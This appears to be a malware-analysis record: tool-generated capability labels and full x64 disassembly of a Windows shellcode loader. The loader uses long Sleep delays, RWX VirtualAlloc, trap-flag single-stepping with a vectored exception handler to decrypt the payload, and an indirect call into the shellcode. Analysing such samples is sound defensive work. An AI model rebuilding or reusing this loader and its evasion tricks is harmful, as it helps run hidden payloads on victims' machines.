Function at 0x140001210
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x530
mov rax, qword [0x140006040]
xor rax, rsp
mov qword [rsp + 0x520], rax
mov ecx, 0x540be3ff
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 0x540be3ff
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 0x540be3ff
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 0x540be3ff
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 0x540be3ff
call qword [sym.imp.KERNEL32.dll_Sleep]
mov edx, 0xfd
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rdi, rax
test rax, rax
jne 0x140001365
lea rdx, [0x140004410]
lea rcx, [rsp + 0x28]
call fcn.140001570
mov rsi, rax
mov qword [rsp + 0x20], rax
lea rdx, str._X__ERROR__
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140001690
mov rdx, rsi
cmp qword [rsi + 0x18], 0xf
jbe 0x1400012c9
mov rdx, qword [rsi]
mov r8, qword [rsi + 0x10]
mov rcx, rax
call fcn.1400020b0
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, eax
lea rdx, str._failed_with_error_code:
mov rcx, rbx
call fcn.140001690
mov rcx, rax
mov edx, edi
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int____ptr64]
mov rcx, rax
lea rdx, [0x140001870]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
mov rdx, qword [rsi + 0x18]
cmp rdx, 0xf
jbe 0x140001341
inc rdx
mov rcx, qword [rsi]
cmp rdx, 0x1000
jb 0x14000133c
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x14000135e
mov rcx, r8
call fcn.14000251c
mov qword [rsi + 0x10], 0
mov qword [rsi + 0x18], 0xf
mov byte [rsi], 0
mov eax, 1
jmp 0x1400014df
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov qword [0x140006820], rdi
add rax, 0xfd
mov qword [0x140006810], rax
mov edx, 0xffffff90
mov r8d, 0xfd
mov rcx, rdi
call sub.VCRUNTIME140.dll_memset
lea rsi, [rdi + 0x20]
lea rcx, [0x1400060c0]
movups xmm0, xmmword [rcx]
movups xmmword [rsi], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rsi + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rsi + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rsi + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rsi + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rsi + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rsi + 0x60], xmm0
lea rdx, [rsi + 0x80]
movups xmm0, xmmword [rcx + 0x70]
movups xmmword [rdx - 0x10], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rcx]
movups xmmword [rdx], xmm1
movups xmm0, xmmword [rcx + 0x10]
movups xmmword [rdx + 0x10], xmm0
movups xmm1, xmmword [rcx + 0x20]
movups xmmword [rdx + 0x20], xmm1
mov rax, qword [rcx + 0x30]
mov qword [rdx + 0x30], rax
mov eax, dword [rcx + 0x38]
mov dword [rdx + 0x38], eax
movzx eax, byte [rcx + 0x3c]
mov byte [rdx + 0x3c], al
mov qword [0x140006818], rsi
xor edx, edx
mov r8d, 0x4d0
lea rcx, [rsp + 0x50]
call sub.VCRUNTIME140.dll_memset
mov dword [rsp + 0x80], 0x100010
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov rbx, rax
lea rdx, [rsp + 0x50]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
mov qword [rsp + 0x98], rsi
mov rdx, qword [rsp + 0xc0]
and rdx, 0xfffffffffffcffff
or rdx, 1
mov qword [rsp + 0xc0], rdx
mov dword [rsp + 0x80], 0x100010
lea rdx, [rsp + 0x50]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_SetThreadContext]
lea rdx, [0x140001920]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_AddVectoredExceptionHandler]
test rax, rax
je 0x1400014cc
mov ecx, 0x540be3ff
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rdx, str.Executing_the_payload_with_VEH_ASM_decryption..._This_may_take_a_while_depending_on_the_efficiency_of_the_shellcode...
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140001690
mov rcx, rax
lea rdx, [0x140001870]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
call rsi
xor edx, edx
mov r8d, 0x8000
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
xor eax, eax
mov rcx, qword [rsp + 0x520]
xor rcx, rsp
call fcn.140002280
lea r11, [rsp + 0x530]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rsp, r11
pop rdi
ret